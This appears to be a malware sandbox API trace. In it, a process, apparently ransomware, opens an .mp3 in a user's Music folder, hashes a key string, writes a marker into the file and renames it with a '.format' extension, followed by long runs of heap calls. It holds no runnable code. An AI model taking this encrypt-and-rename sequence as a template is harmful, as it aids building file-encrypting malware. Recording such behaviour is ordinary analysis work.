[0068.435] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\o8TP1cQC154b0u.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\i1whklenawkn\\o8tp1cqc154b0u.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.435] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=74487) returned 1 [0068.435] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.438] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x122d1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.438] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.438] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0068.438] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x122f7, lpOverlapped=0x0) returned 1 [0068.439] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.439] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.439] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.439] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.439] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac3d0) returned 1 [0068.440] CryptCreateHash (in: hProv=0x6ac3d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.440] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.440] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.440] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.440] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.440] GetLastError () returned 0x0 [0068.440] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.440] CryptReleaseContext (hProv=0x6ac3d0, dwFlags=0x0) returned 1 [0068.441] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x122f7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.441] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0068.441] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0068.441] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.441] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0068.441] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.441] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.441] CloseHandle (hObject=0x5c8) returned 1 [0068.442] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee098 [0068.442] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8b0) returned 0x3178dd8 [0068.442] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\o8TP1cQC154b0u.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\i1whklenawkn\\o8tp1cqc154b0u.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\o8TP1cQC154b0u.mp3.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\i1whklenawkn\\o8tp1cqc154b0u.mp3.format")) returned 1 [0068.443] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb489df80, ftCreationTime.dwHighDateTime=0x1d4ca61, ftLastAccessTime.dwLowDateTime=0xd17eb540, ftLastAccessTime.dwHighDateTime=0x1d4c7e4, ftLastWriteTime.dwLowDateTime=0xd17eb540, ftLastWriteTime.dwHighDateTime=0x1d4c7e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="z50Nlqq", cAlternateFileName="")) returned 1 [0068.443] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac3d0 [0068.443] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xbe) returned 0x3185980 [0068.443] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb489df80, ftCreationTime.dwHighDateTime=0x1d4ca61, ftLastAccessTime.dwLowDateTime=0xd17eb540, ftLastAccessTime.dwHighDateTime=0x1d4c7e4, ftLastWriteTime.dwLowDateTime=0xd17eb540, ftLastWriteTime.dwHighDateTime=0x1d4c7e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="z50Nlqq", cAlternateFileName="")) returned 0 [0068.443] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0068.443] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0068.444] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abd70 | out: hHeap=0x5d0000) returned 1 [0068.444] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0068.444] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175418 [0068.444] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0068.444] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.444] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.444] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.444] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.444] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.444] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.444] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.444] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.444] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.444] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.444] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.444] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.444] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.444] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.444] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.444] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.444] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.444] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.444] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.444] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.444] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.444] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.444] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.444] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.445] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.445] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.445] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0068.445] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.445] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.445] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.445] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.445] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.445] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.445] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.445] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.445] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.445] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.445] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.445] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.445] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.445] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.445] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.445] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.445] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.445] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.445] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.445] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.445] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.445] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.445] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.445] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.445] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.445] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.445] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.445] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.446] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.446] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.446] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.446] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.446] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.446] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.446] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.446] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.446] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.446] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.446] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.446] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.446] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.446] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.446] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.446] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.446] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.446] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.446] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.446] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.446] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.446] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.446] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.446] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.446] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.446] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.446] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.446] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.446] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.446] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.446] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.446] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.447] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.447] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.447] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.447] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.447] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.447] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.447] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.447] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.447] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.447] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.447] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.447] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.447] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.447] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.447] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.447] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0068.447] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.447] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.447] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.447] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.447] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.447] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.447] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.447] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.447] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.447] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.447] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.447] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.447] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.447] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.447] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.447] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.448] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.448] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.448] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.448] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.448] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.448] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.448] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.448] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.448] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.448] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.448] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.448] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.448] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.448] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.448] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.448] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.448] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.448] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.448] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.448] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.448] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.448] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.448] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.448] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.448] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.448] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.448] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.448] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.448] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.448] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.448] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.448] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.448] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.449] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.449] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.449] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.449] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.449] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.449] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.449] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.449] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.449] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.449] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.449] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.449] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.449] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.449] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.449] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.449] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.449] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.449] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.449] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.449] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.449] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.449] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.449] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.449] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.449] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.449] HeapFree (in: hHeap=0x5d0000, 